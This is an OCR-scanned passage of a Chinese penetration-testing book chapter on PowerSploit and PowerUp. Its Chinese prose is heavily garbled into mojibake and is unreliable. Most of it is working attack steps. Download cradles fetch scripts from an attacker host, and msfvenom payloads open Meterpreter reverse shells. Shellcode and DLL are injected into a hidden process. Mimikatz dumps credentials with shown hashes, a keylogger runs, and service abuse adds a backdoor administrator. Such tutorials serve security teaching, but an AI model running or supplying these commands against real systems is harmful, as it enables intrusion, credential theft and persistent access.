PS C:\Users‘\shuteer\Desktop> PowerShell.exe —ExecutionPolicy Bypass -File .\test.psi
hello hacker
PS C:\Users’shuteer\Desktop> _

El6-4 STRERME

6.2 PowerSploit

PowerSploit/e — K% T PowerShellf1/5i5i%E (Post-Exploitation) HEZEHF, M4
IRZ PowerShell L A<, EAIFER TEEFIIE BMEE. BRI BIRYERF,
HGitHubthik Ahttps:/github.com/PowerShellMafia/PowerSploit.

6.2.1 PowerSploit B &3

1X Bl idKali N #PowerSploit, B FoiiA\gitin S FERERF B, WE6-5/=~.



loning into 'PowerS
remote: Counting obj

remote: Comp
remote: Total 296
Receiving obje
Resolving deltas:

El6-5 T#HPowerSploit

# Servi apachez

El6-6 FFREApachefks

BT i SO Je B B Bllvar/www/html B 3%, 2 —AME B RIRS S, £ TTH
FTFFhttp://192.168.31.247/PowerSploit/, 1 6-7FT7~ .

|/ Index of PowerSplot

x \pl92 1S x| #

mmsxvrsned v [lOffensive Security \Kau urmx '\Kall Doss N\ Kalt To{)!s
Index of /PowerSploit
Name Last modified Size Description

@ AntivirusBypass/  2017-06-21 09:25
@) CodeExecution/  2017-06-21 09:25

) Exfiltration/ 2017-06-21 09:25
[? LICENSE 2017-06-21 09:25 1.6K
& Mayhem/ 2017-06-21 09:25
) Persistence/ 2017-06-21 09:25

[?) PowerSploitpsdl  2017-06-21 09:25 5.2K
[?) PowerSploitpsml  2017-06-21 09:25 135
[@ PowerSploit.pssproj 2017-06-21 09:25 15K
[?) PowerSploitsin ~ 2017-06-21 09:25 971

{3 Privesc/ 2017-06-21 09:25
[$) README.md 2017-06-21 09:25 9.9K
(€3 Recon/ 2017-06-21 09:25
(@ ScriptModification/ 2017-06-21 09:25
) Tests/ 2017-06-21 09:25

Apache/2.4.25 (Debian) Server at 192.168.31.247 Port 80

E6-7 FTHERAARS R
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1Mafia/PowerSploit

pack-reused 2936

1.00 KiB/s, done.

BEE LA T fr4JF )8 Apache R %5, tnE6-6FT7 .

determine the ser

T HEARYE B 6-7/ FPowerSploit S HEER I ThEE, 10T Bz,
e AntivirusBypass: K IR ERAHIERFFE.
e CodeExecution: 7EHAREH LHATHEG.
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e  Exfiltration: H#¥rENL EHERHETE.

®  Mayhem: WFFEFHIATERIA.

®  Persistence: Jg| 1A CGREAMEIES]D .

*  Recon: LLHFRENNBHELT ARG BHTE.

e  ScriptModification: fE H#rEHL EEIEEUESUAIA .

6.2.2 PowerSploit Bl AR L &%

PowerSploit N & KWt A L5 %, BT RE R, AATaexta— A AH
BEAT VRGN R,  FTCAA/INAT R4 — SR SE b AT RO BB 2 O JIAS 528 th ] A
FRX A A

6.2.2.1 Invoke—Shellcode

CodeExecutionf3 T ff]Invoke-Shellcode il A< F T4 ShellCodeddi A 45 € 1212
IDE A tPowerShell ', T /48 B & H 1) [ 3 Meterpreter Shell /7
1. EIEHIT ShellCode K3 Meterpreter Shell

H S EMSF B 1§ Freverse httpstE BT 3, & E KN A N E6-8F7R .

Payload options (windows/meterpreter/reverse https):
Name Cu

EXITFUNC E Accepted: '', seh, thread, process, none)
LHOST 92.168.31. 2¢ yes oc er hostname

The HTTP Path

Target

msf exploit( ) > run

] Started HTTPRS rse ha r on https://192.168.31.247:4444
| Starting the 5

E6-8 REIAT
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{5 FH msfvenom iy 24 i —MPowerShell il A AR 5, 1nE6-9F7s .

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.31.247 LPORT=4444 -f
powershell -o /var/www/html/test

:~# msfvenom -p windows/meterpreter/reverse https LHOST=192.168.31.247 LPORT=4444 -f powershell -o /v

No platform was selected, choosing Msf::Modul L :Windows from the payload
No Arch selected, selecting Arch: x86 from th

badchars specified, outputting raw payload

614 bytes

E6-9 4“4 mPowerShellHiAKRDS
&1 H FrflPowerShell FHIA LI Fan4 FEGZIA, & 6-108T7x.

IEX(New-Object
Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/CodeExecution/In
voke-Shellcode.psl")

E6-10 T#Invoke-Shellcode
BEMAL T2 TEARY, mEe6-11Fxw.

IEX (New-Object Net.WebClient).DownloadString("http://192.168.31.247/test")

sNshuteer> I1EX <New-Ohject Net.WebhClient).DownloadString<{"http:/,192.168.31.247/test">

rs\shuteer>
E6-11 THAD
Bz fEPowerShell Fig47 LA Fan4d, wiEe6-1207.

Invoke-Shellcode -Shellcode ($buf) -Force

PS C:\Users \shuteer> Invoke-Shellcode —-Shellcode <($huf) -Force

E6-12 EBITAKRDS
E6-127 “-Force” W BRAHRR, HEPIT.
AR EMSFIMEr R F, KMEE RN T, wmE6-13fT~.
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msf exploit( ) > run

Started HTTPS reverse handler on https://192.168.31.247:4444
tarting the payload handler..
https://192.168.31.247:4444 handling request from 192.168.31.22; (UUID: mjfmb3zz) Staging x86 p

ayload (958531 bytes) ...
Meterpreter session 1 opened (192.168.31.247:4444 -> 192.168.31.22:51550) at 2017-06-21 11:11:0

E6-13 KA

2. IBE#HIEEN ShellCode 38 Meterpreter Shell
[FIFESEAE B AxtlPowerShell M A LA T a4, 40 El6-14FT7R

IEX(New-Object
Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/CodeExecution/In
voke-Shellcode.psi")

IEX (New-Object Net.WebClient).DownloadString("http://192.168.31.247/test")

PS C:\Users\shuteer> IEX(New-Ohject Net.WehClient).DownloadString("http://192.168.31.247/PouerSploit/CodeExecution/Invok
e-Shellcode.psi')

PS C:\Users\shuteer> IEX (New-Ohject Net.MehClient).DownloadString(“"http://192.168.31.247%/test")

El6-14 T#;PowerShell iz

HEHE A Get-Processin @ Bl H pstn @ BEFE HAIHERE, WE6-15FT7R.

5 C:NlUsers shuteer> Get-Process

Handles NPMCOKD PHCKD) HSCK> UMCMD CPUCs)

12 31688 34872 198 8.72
8688 22 58312 92876 268 26.64 2345Explorer

21 2 2012 2969 34 @.85 cnd

21 2 2084 2928 34 1.02 cnd

15 < 1436 4672 48 a.82 conhost
45 ¢ 1468 4624 .83 conhost
59 4 4380 18248 .58 conhost
58 < 1948 18968 5 A conhost
15 < 1436 4632 .82 conhost
59 4340 18204 5 .85 conhost

2

E6-15 ZEFRRZRHE

REMAUTmARE— MR, XEREI—MeFELR, HFEERENKE
B, P Get-Processtn & EHHFE, AILLEE|Z 7 —IDAS5032, 4 Anotepad
HIBERE, anE6-16FT7m .

Start-Processc:\windows\system32\notepad.exe -WindowStyle Hidden
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S C:\Users\shuteer> Stay
S C:\lsers\shuteer> get—proces

Nane
2345Explorer
2345Explorer
cnd
cnd
conhost
conhost
conhe
conhost
conhost

explorer

nginx
nainx

notepad

O W AUV A D00 E WA WW A WW A WWN N

E6-16 4 g
BEEWNLL T4, {#HInvoke-Shellcodeil A< 4T3 FEvEN, W& 6-17F7=.

Invoke-Shellcode -ProcessID 5032 -Shellcode($buf) -Force

E6-17 HIEAN
B ZMSFI I R FRIEL I T, WE6-18fT.

msf exploit( ) > run
Started HTTPS reverse handler on https://192.168.31.247:4444

tarting the payload handler...
https://192.168.31.247:4444 handling request from 192.168.31.22; (UUID: k221lono3) Stagi 86 p

ayload (958531 bytes) ...
Meterpreter session 2 opened ( 2 -> : .31.22:51573) at 2017-06-22 ©8:18:1
-0400

rpreter > i

E6-18 R#mIN
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6.2.2.2 Invoke—DllInjection

T T f# FH Code  Execution# £t T ) 73 — 4> Jll & Invoke-DL LInjection, & & —4"
DLLIEAKIAIAR .
AEE R TEREA, MALUTaS, WE6-1987R.

IEX (New-Object Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/
CodeExecution/Invoke-Dl1lInjection.ps1")

E6-19 T#HInvoke-DllInjection
SR A LT ar 4 7EKalifF AE si— ANDLLIE A A, 40 6-20F77w .

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.247 lport=4444 -f dll
-0 /var/www/html/test.d1l

ieterpreter/reverse tcp lhost=192.168.31.247 lport=4444

ng Msf::Module::Platform::Windows from the payload
ecting Ar(‘ x86 from the payload
s specified, outputting raw payload

bytes
f dll file: 5120 bytes
w/html/test.dll

E6-20 “ERIDLLUENMIA

4 B ftest.dll EAZ 2] B AR RS A ICHL S, AUREMRE 30— BT ERERE#E 4T DLLIE
N, XFER] DMEE N EINRS#L, 13 PAT a4 8 — N 4 Anotepad.exe 1) BRI FE o
Start-Processc:\windows\system32\notepad.exe -WindowStyle Hidden
REHALUTaSHATEN, WE6- 215k,

Invoke-DllInjection -ProcessID 2000 -D11 c:\test.dll

PS C:\Usersishuteer> Invoke-Dlllnjection —ProcesslD 2888 — D11 c:\test.dll

ModuleNane FileNane

28 test.dll C:\test.dll

PS C:\Users\shuteerd

El6-21 DLLAZAENFHFZ
RAEIR [RIMSF MW FL T8, F{F Freverse teptEERib4T 3, RICE I T ,
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nEe6-22f7R .

msf exploit( ) > run

*] Started reverse TCP handler on 192.168.31.247:4444
| Starting the payload handler...
Sending stage (957487 bytes) to 192.168.31.22

I Meterpreter session 3 opened (192.168.31.247:4444 -> 192.168.31.22:51576)
1 -0460

meterpreter > []
E6-22 [EERRIN

6.2.2.3 Invoke—Portscan

Invoke-PortscanseReconfi it T 1 —AMHIA, FEH FimDAH, FHERBEEL
WEE. FEFEEMHU TS FEMA, mE6-23F7R.

IEX (New-Object Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit
/Recon/Invoke-Portscan.psi")

P C:\Users\shuteer> IER (New-Ohject Net.WehClient).DownloadString("http://192.168.31.247/PoverSploit/Recon/Invoke-Ports
can.psi")
PS C:\Users\shuteer)

E6-23 T#Invoke-Portscan
MIEMHHU T2 THaE, &R nE6-24F7R.

Invoke-Portscan -Hosts 192.168.31.1,192.168.31.247 -Ports "80,22,3389"

IPS C:\Users\shuteer> Invoke-Portscan -Hosts 192.168.31.1,192.168.31.247 -Ports "80,22,3389"

: 192.168.31.247

3389>

: 2017/6/,22 21:38:30

: 192.168.31.1
: True
: (88>
{3389, 22>
ffilteredPor O
f inishT ime : 20817/6/,22 21:30:38

El6-24 #1TH
6.2.2.4 Invoke—Mimikatz
Invoke-Mimikatz & Exfiltration & i) —MHA, "B IIIEEA I KK & &
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HIET . FIFESEMERACI TS TEEAE, WmE6-25F7~.

IEX (New-Object Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/
Exfiltration/Invoke-Mimikatz.ps1")

PS C:\Users\shuteer) IEX (New-Object Net.WehClient).DownloadString("http://192.168.31.247/PoverSploit/Exfiltration/Invok

e-Minikatz.psi')
PS C:\Users\shuteer) _

E6-25 T#Invoke-Mimikatz

RIEPAT AT ar & RIAT, 45 R ANE6-26 7R

Invoke-Mimikatz -DumpCreds

IPS C:\Users\shuteer> Inuvoke-Minikatz —DumpCreds

Runan. mimikatz 2.1 (x86> built on Nov 10 2816 15:30:49
A8 2 HH. YA La Vie, A L’Amour"
b ittt/ N e % x
N 2 u Benjamin DELPY ‘gentilkiwi' < henjaminPgentilkiwi.com >
‘HE v B http://blog.gentilkivi.con/ninikatz {oe.eo?
| unnun’ with 28 modules » » »/

mimikatz<{powershell) # sekurlsa::logonpasswords

: B ; 741317 (0BBBBANBY:B8Bh4fcS>
: Inte ctive from 1
: shuteer
: WIN?-%86
Logon Server : WIN?-X86
Logon Time : 28172/6/5 22:18:52
SID : §-1-5-21-3786287587-3586404812-2882115619-1601
nsv =
[80A16808A]1 CredentialKeys
»* NTLM : 31d6cfeld16ae931h?3c59d7eBcBB9ch
»* SHA1 : da3%a3eeS5eb6b4hBd3255hfef95681890af d8G7HY
[6988BAA3 ] Primary
* Username =
* Domain
» NTLM
* SHA1 : da3%a3ee5e6h4hBd3255hfef95601890afd8A709

E6-26 #EXHsah

XBEEFE— A, A AMimikatz T E—#, N B FMimikatz7E 5 RS
B ABIR.

6.2.2.5 Get—-Keystrokes

Get-Keystrokes /&Exfiltrationf 3t F 1 — A4, HTHAICS, TRt 25K,
REBREMALTE, EERICHEANSEEN, ERACKEAHRIR [r], SChlr
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AUEHZEBRANE BT, FAFLERUTa< TEREA, WE6-275r.

IEX (New-Object

Net.WebClient).DownloadString("http://192.168.31.247/PowerSploit/Exfiltration/Get
-Keystrokes.psi")

Nsersishuteer> 1EX (New-Object Net.WebClient).DounloadString<{"http://192.168.31.247/PoverSploit/Exfiltration/Get-1]

&6-27 T# Get-Keystrokes

{EF LR AT B BT, BB “fwyily” XJIANFZREENR—T,
E6-28F 7R

Get-Keystrokes -LogPath c:\testl.txt

:m(n uﬁ(a BRO0) SHY) BEH)

Wmdoanle , “Time”
" ” ” ;Sz’*” ’2017/6/22_’ 21:48:38”
<Backspace> “,”2017/6/22 21:48:39”
“(Ctrl>”, ;z q:;‘{;-Z’ ’2017/6/22 21:48:39”
YIRS - X 7, "2017/6/22 21:48:39”
" D ¥~ KHXE, “2017/6/22 21:48:40”
"W, XAF2 * - KRXF” "2017/6/22 21:48:40"
"y SRS * — KR, “2017/6/22 21:48:41”
SaoXpiE -2 }‘{i “2017/6/22 21:48:41"
“17,OXAF2 * - 7 3: “2017/6/22 21:48:41”
"y XL ¢ - KX, 72017/6/22 21:48:43”

E6-28 #MEEEILR

6.2.3 PowerUp ZHiEER 7

PowerUp#&Privesci&E it N I —AMHIAS, ThEetH 458K, WA RZHRIRERE
HL.Windows IRk %I TR IEAT SR A A SE FH BHIA

HH, fEWindows N 7] LU WAZIRTRRIBARUR, (B2, RATEE SRR TIE
I N AZ IR ISR AU AL Al 55 2% BB L 3 I f 75 2 0] FH e 55 O Windows IR 25 324,
HEMAERLNRGRS, B HAERN RGN R TERIRNEE, HAESERT DIE N
RARBUT A BRI, FE BT FHRARSS 2 00MES5 A, o E i fE 55 A SE B AL
HH.

B R EHPowerUp T #A MPLeARER, W1E6-29F7 7.
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nction struct
Line 523: The 'struct' £ on facilitates the creation of structs entirely in

Line 552: A hashtable of fields. Use the 'field' helper function to ease

Line 604: PowerShell purists may disagres with the naming of this function but

Line 742: function Get-ModifiablePath {

Line 940: function Get-CurrentUserTokenGroupSid {

Line 1017: function Add-ServiceDacl ({

Line 1135: function Set-ServiceBinPath {

Line 1253: function Test-ServiceDaclPermission {

Line 1431: function Get-ServiceUnquoted {

Line 1473: $out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary
Line 1482: function Get-ModifiableServiceFile {

Line 1528: $0ut | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -N|
Line 1536: function Get-ModifiableService {

Line 1572: $Out | Add-Member Noteproperty 'AbuseFu
Line 1579: function Get-ServiceDetail {

Line 1644: function Invoke-ServiceAbuse {

Line 1648: Abuses a function the current user has configuration rights on in order
Line 1660: and the Set-ServiceBinPath fu is used to set the binary (binPath) for
Line 1868: function Write-ServiceBinary {

Line 2039: function Install-ServiceBinary {

Line 2200: function Restore-ServiceBinary {

Line 2286: function Find-ProcessDLLHijack {

Line 2435: function Find-PathDLLHijack {

Line 2480: function Write-HijackDll {

Line 2562: function local:Invoke-PatchDll {

Line 2695: function Get-RegistryAlwaysInstallElevated {

Get-RegistryAutoLogon {

Line 2805: function Get-ModifiableRegistryAutoRun {

Line 2870: function Get-ModifiableScheduledTaskFile {

Line 2936: function Get-UnattendedInstallFile {

1 Get-WebConfig {

Get-ApplicationHost {

1 Get-SiteListPassword {

i

"Invoke-ServiceAbuse -Name '$

Line 3333: PowerSploit Function: Get-SiteListPassword

Line 3345: function that takes advantage of McAfee's static key encryption. Any decrypt
Line 3400: function Local:Get-DecryptedSitelistPassword {

Line 3450: function Local:Get-SitelistFields ({

Line 3519: function Get-CachedGPPPassword {

Line 3525: PowerSploit o} Get-CachedGPPPassword

Line 3568: functi local:Get-DecryptedCpassword {

Line 3605: funct local:Get-GPPInnerFields {

Line 3722: function Write-UserAddMSI {

Line 3727: This function can be used to abuse Get-RegistryAlwaysInstallElevated.

Line 3757: function Invoke-AllChecks |{

Line 3761: Runs all functions that check for various Windows privilege escalation oppor
Line 3861: $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString

Line 3874: $0ut | Add-Member Noteproperty 'AbuseFunction' "Write-UserAddMSI"

Line 3953: S$FunctionDefinitions = @(
L Line 4008: $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.Na

E6-29 PowerUpigEik

HFiX B R 7EANERE R, 7T LLE B8 ANImport-Modulefir 2 I # PowerUp I A A5
B, E6-30HTR.

PS C:\> Import—-Module .\PowerUp.psi

PS C:\>

[E6-30 fREMIARRIR
I A LUES Tab8K H 342, WMAREEE R MR PRGN, 7L
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i A\get-help [cmdlet] -fullir &%, biliget-Help Invoke-AllChecks -full, 41 6-31
Fim e

[PS C:\> get-help invoke—allchecks

Invoke-A11Checks

fAuthor: BGharnildy
License: BSD 3-Clause

\EiE

Invoke—-AllChecks [-HTMLReportl [{CommonParameters>]
15,87

~HTMLReport [{SwitchParameter>]
Suwitch. WUpite a HTML version of the report to SYSTEM.username.html.

False
named

false

<CommonParaneters>
!HA cmdlet ]@ﬁ Uerhose, Debug.
Errorfiction, ErrvorUariable, | gAction. WYarninglariable .
OutBuffer #fl OutVariable. 15 { ]
“get-help about_commonparameter

PS C:N\>Invoke-AllChecks

E6-31 EERERAIFEMITAA
N X PowerUp s I BB EAT /40
1. Invoke-AllChecks

ZAE L2 B B AT PowerUp T BT A MU IHIAS KA Z B F5 4L, farH LU A 2 P ar
T, E6-32fT .

PS C:\> Invoke-AllChecks
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IPS C:\> Invoke-AllChecks

%1 Running Invoke-A11Che

[+1 Current

» alveady has local administrative privileges?

[%] Checking for unquoted service pat

ServiceNane
Path
ModifiahlePat})

StavtName

ServiceNane
Path
HodifiablePath

: 23458afes
\Progran Fi N\234580f t \2345PCSafe \23458afeSuc .exe

AppendData/AddSubdiy ory; ModifiablePath= 3 IdentityReference=NT AUTHORITY\Authentic

ite-ServiceBinary ~Nane ’'23458afeSuc’ -Path <HijackPath>
True

SafeSuc
\Progran Fil Soft\2345PCSafe \23458afeSvc..exe
@{Pernissions=Systemn.Objectl]; ModifiablePath=C:\; IdentityReference=NI AUTHORIFYMuthenticated Users)
LocaiSys
erviceBinary ~Name *2345SafeSuc’ -Path <HijackPath>
True

E6-32 #MALIRE

2. Find-PathDLLHijack

A TG A 24 AT %PATHY% W Ls B =2 F AT LB A, BN DL T ar 4B
AT PATIZEER, WE6-33F7R.

PS C:\>Find-Pathdllhijack

PS C:\> Find-Pathd1llhijack

Ge ;
{ReadAttributes, ReadContr... C:\Windous tend2\Window. .. BUILTIN\Adnin 5 C:\Windo

HodifiablePath IdentityReference ZPATHZ
- BUILTIN\Adnin 3 g ” tenRootz\systen32\Wind. ..

ReadContr. . i B i BUILTIN\Adnin
BUILTIN\Adnin
ReadContr. .. i en32 BUILTINSAdmin
BUILTINN\Adnin
ReadConte. .. i BUILTINMAdnis
Hindows\Systen32\ben BUILTIN\Adnin
ReadConte... Jindous\Systend2\When BUILTIR\fdnin

C:\Windous\8 n32\Window. .. BUILTIN\Adnin : Gz \indo

El6-33 WERGZWASER

3. Get-ApplicationHost

ZARH AT R F & 4t - iapplicationHost.config SCA4- Pk & Jin 25 it iy 2 A st A0 2 48, B
KN, PUTIZERM 2T s,

PS C:\>get-ApplicationHost
PS C:\>get-ApplicationHost | Format-Table -Autosize # %l& &/~

4. Get-RegistryAlwaysinstallElevated
ZBHH TG 2 AlwaysInstallElevatedVE M R T2 B4 % B, WROHRE, =
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WRFEMSIC 2 ASYSTEMABRIZ AT 1Y, AT ZBEER 42 W T iR

PS C:\>Get-RegistryAlwaysInstallElevated

5. Get-RegistryAutoLogon

2 AR T 46 0 WinloginiE M 3 i) AutoAdminLogon A ¥ B ¥ % &, 7 &R
W P2 MENE, PITZBERE G2 T iR.

PS C:\> Get-RegistryAutolLogon

6. Get-ServiceDetail
AR A TR EERSHEE, BACL T a4 R af #7288, wE6-34F7R.

PS C:\> Get-ServiceDetail -ServiceName Dhcp #3KHL DHCP fIRZ5 HIE4H(E B

PS C:\> Get-ServiceDetail -ServiceName Dhcp

ExitCode : B

Name : Dhep
Processld : 948
StartMode : Auto
State : Running
Status : OK

E6-34 JIRENDHCPARSHYIFMER

7. Get-ServiceFilePermission

2 *ﬁb%)ﬁ?*“ﬁé’lﬁﬁﬁﬁ)ﬂ%%ﬁﬁﬂwbﬂﬁ%mE%%’A*ﬁ?&ﬂ%ﬁ’ﬂﬁfﬁhﬁi#, E54
TRNE X LS SEEPRAL,  J AN LA A B AT AT iR, 2 E6-358T7R

PS C:\> Get-ServiceFilePermission

E6-35 HEREARIR

8. Test-ServiceDaclPermission

SR TREA TR RRS, F2RA XTI RS AT B S, R
BE MERENZARS I R, AT ZRHRE 600 Frm
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PS C:\>Test-ServiceDaclPermission

9. Get-ServiceUnquoted

ZER A TR E RS SR, BREMEES THERAW 5 HIRS BT,

BEALFI A T Windows ) —ANZARIRR, B2 S0 & SR, Windows APTRHE
FRBE NP BEE, FRIE XA SO EI AT, A N AT RE =l A PR 427, Eedn
C:\program files\hello.exeZ: #i fi# B¢ A C:\program.exe F1C:\program files\hello.exe. %A
PAR fir & BU AT AT 12468, nf&l6-36 /7

PS C:\>Get-ServiceUnquoted

PS C:\> Get-Servicellnquoted

[ServiceNane : 23458afeSve

les\234580f t\2345PCSafe 23458 afeSvuc .exe
Modif iahlePath : =AppendDatasAddSubdirectory; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authentic

StartNane
buseFunction
CanRestart

ServiceNane
Path : C: Fi \234580ft\2345PCSafe\23458afeSvuc.exe
ModifiablePath : 33 si S .Object[1; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users>
StartNane
buseFunction =
anRestart

E6-36 HMESKEEHIRE

10. Get-UnattendedinstallFile

R TR DU R B, IR T APAEI SO, [ XS L T
MERYE . XEHEHE:

¢ C:\sysprep\sysprep.xml

e C:\sysprep\sysprep.inf

e C:\sysprep.inf

e  C:\Windows\Panther\Unattended.xml

¢  C:\Windows\Panther\Unattend\Unattended.xml

e  C:\Windows\Panther\Unattend.xml

e  C:\Windows\Panther\Unattend\Unattend.xml

e  C:\Windows\System32\Sysprep\unattend.xml
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e C:\Windows\System32\Sysprep\Panther\unattend.xml
PAT LR A 2 00 T PR

PS C:\> Get-UnattendedInstallFile

11. Get-ModifiableRegistryAutoRun

A TR AL E B 1R B AR R E, AREREI S AT R
BRIFRRF IR . BT REIREE R LT X .

o HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

o  HKILM\Software\Microsoft\Windows\CurrentVersion\RunOnce

e  HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

o  HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

Once

¢  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService

o HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService

o  HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

Service

o  HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
OnceService

BT dr & BT AT AR, dniE6-37F7R .

PS C:\>Get-ModifiableRegistryAutoRun

PS8 C:\> Get-ModifiableRegistryAutoRun

Key 2 ModifiableFile

HKLM: \SOFTUARE\Mi S| i es\UNware \UM ces i sten.Objectll; Modif...

HKLM: \SOFTW E\Wind S Files\368\3605afe P, endDatasAddSubdivec. . .
HKLM: \SOFTH i P2 Files\368 \3608Safe i bject[1; Modif...
HKLM: \SOFTWARE\Mi s i r. X Pi 3 3 « P s i difia A
HKLM: \SOFTUARE\Microsof t \Windows \Cur. Progre Files\36! 688 2 safeno. .. 2 bhject(1; Modif...
HKLM: \SOFTUARENMicrosof t \Windows \Cur. gral pS Sa safeno. .. Pe hjectl]; Modif...

El6-37 WENMREFHBREMIMETRE

12. Get-ModifiableScheduledTaskFile
ZARE R TR Bl 45T A P RS T RS R R 2R, BALL TN
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A BT HAT AR, NP 6-38FT 7R

PS C:\>Get-ModifiableScheduledTaskFile

ConfigNotification
Conf igNotification
Conf igNot if ication

Systen.Ohject(1; Modif...
AppendDatasAddSubdire

[3; Modif.
Modifiable...
n.Object(1; Modif.

fippendData/AddSubdix
Systen.Ohject[1; Modif
A1l; Modifiahl

en.Objecti]; Modif.

AppendDatasAddSubdiy

5 Modif.

Modifiahle

ConfigNotification i g [1; Modif... <Trigge

E6-38 HEWRESER

13. Get-Webconfig

TZAR R TR (5] 24 71 AR 5528 _Eweb.config SC2F R I BUE PR SR E 2 R RS,
AL T dr & BPaf AT A5 8, anEl6-39F7R

PS C:\>get-webconfig

PS C:\> Get-VWehconfig

False

El6-39 #Eweb.configrhRyEIRE

14. Invoke-ServiceAbuse

BESOES B EUR SR P Bl 4, I T DU i B -omd S il R AR
FP BT E X A4, AT BRI & 00T FTs o

PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC # #INERIANK S

PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLAB\john" # f&& ¥
pililinEE S

PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password
-LocalGroup "Administrators" # F&EMA T, FFEELLE M HEFH.

PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# HEXHiT4




#6% PowerShellsk##H <« 283

15. Restore-ServiceBinary

ZIEH A TR E RS W AT SRR B 3R, PUT IR ey 2 W0 T BTs.

PS C:\> Restore-ServiceBinary -ServiceName VulnSVC

16. Test-ServiceDaclPermission

AL TR A P R BIERS A B B Gl AR, 45 R <& Eltrue
Bifalse, PATIZEEREI G20 R,

PS C:\> Restore-ServiceBinary -ServiceName VulnSVC

17. Write-HijackDlII

ZAEH A T — S B i 4 IF B AR B T Bk 1 bat 344 ] $env: Temp\
debug.bat, FF4iH— M EE B B IX A Mbat LAFHIDLL.
18. Write-UserAddMSI

Wﬁﬂ%?i&~¢ﬁ%i#,ﬁﬁﬁéﬁ%t#ﬁ%%&%M%Fmﬁﬁﬁ,
HINCLF a2 R AT A, 0 6-40FT7R

PS C:\> Write-UserAddMSI

PS C:\> Write-UserAddMSI

jOutputPath

UserfAdd.nsi

E6-40 HRIMSIZH

19. Write-ServiceBinary

TZAR R T P PR CH AR 55 B AT AT SO, BRAB R — N EE R IK S, wliE
Command & | H A4, PATZEREG LW T AR,

PSC:\>Write-ServiceBinary -ServiceName vulnSVC # #RINERIAIKS
PSC:\>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" # f&&E#NN
k5

PS C:\>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password
Password123! # faEWINA . P % LR IMEH A A

PS C:\> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # HENXHITMH4
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20. Install-ServiceBinary
TZAE LI T Write-ServiceBinary 5 — N CHII IR S FISRIN I 7, BATIZAE B 1
LR ATR.

PS C:\> Install-ServiceBinary -ServiceName DHCP
PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john"

PS C:\>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password
Password123!

PS C:\> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."

Write-ServiceBinary S1nstall-ServiceBinary AN [E] &, BT # AL AT AT SCHF, 54
HEZERS .

6.2.4 PowerUp &R0 60E %

ETiRE, RZPowerUptE AN ge—— N4, A/ RECHER A8 LA B
B SEsE R A o

SE8 1

TELESEERH, FI 3] T Invoke-AllChecks. Install-ServiceBinary . Get-ServiceUnquoted.
Test-ServiceDaclPermission. Restore-ServiceBinaryiX JL/MEHE

Jehn#EPowerupilA, 4R 5 H1TInvoke-AllChecks, AN AT I E .

J%PowerUpﬂiﬂth:FéE HARIRSS 2%, FMNAHBATZH A, nE6-417.

E6-41 LAEMIAINH

i FRIEXTE N FF OB BL R A, $UAT AT dn, BIACR#EATITE IR E, 1niE6-42
7R

PowerShell.exe -exec bypass "IEX (New-Object Net.WebClient).DownloadString
('C:\PowerUp.ps1l'); Invoke-AllChecks"
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PS C:\> PowerShell.exe -exec hypass “"IER <(New-Obhject Net.WehClient).DounloadString<¢’C:\PouerUp.psi’); Invoke-AllChecks"

[*] Running Invoke-AllChecks
[+] Current user already has local administrative privileges?

[#] Checking for unquoted service paths...

EerviceName 23458afeSvc
G:\Program Files\234580ft\2345PCSafe \23458afeSvc.exe
@{Pern ions =AppendDatasAddSubdirectory; ModifiahlePath Ni IdentityReference=NI AUTHORITY \uthentic
ated Usevsd
: LocalSysten
viceBinary —Name ’2345SafeSuc’ -Path <HijackPath>

23458afeSuc
: C:\Progran Files\2345S0ft\2345PCSafe\23458afeSvc.exe
odif iablePath : G{Permissions=System.Object[1; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users

E6-42 #iTInvoke-AllCheckst&#s
WA IFECMDIAEE Ml LA T s & ged AT Z A, WK 6-43F77R.

powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.psl; Invoke-
AllChecks}"

E6-43 i@idInvoke-AllChecks#ZsiE;E
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AT LAE |, PowerUpFlH T BT o] REAFA7E M AR AU AR 45, F7E AbuseFunctionF B %
S THRATR. XBEASABAES, H—E5 8 Get-ServiceUnquotedHE (Fil
M Windows ] —MEZHIFIE, B 23043 A% I, Windows APIS RN AN ER1E
FAR XA ORI PAT, B Lo AT fe < i A PR 3R ) A “ OmniServ”
“OmniServer” “OmniServers” “ Vulnerable Service” PYANAR 55 A 1E M2 #8 IR, (HHD
BEBARIR, PrUAEAsesd A TR 25 #5453 18id Test- ServiceDaclPermission
B (REMERANRS, AT XEITHFRRES T BN, R E%, W
FENIRID A La AP A UAE “OmniServers” R4S HI H 35 N RBL A AT 4
T30, FF BB X e S AT IR AL

IR IRIAF AR, Windows REtIRSS SCHTEERAE RS0 )a 3hE < nEk 4T,
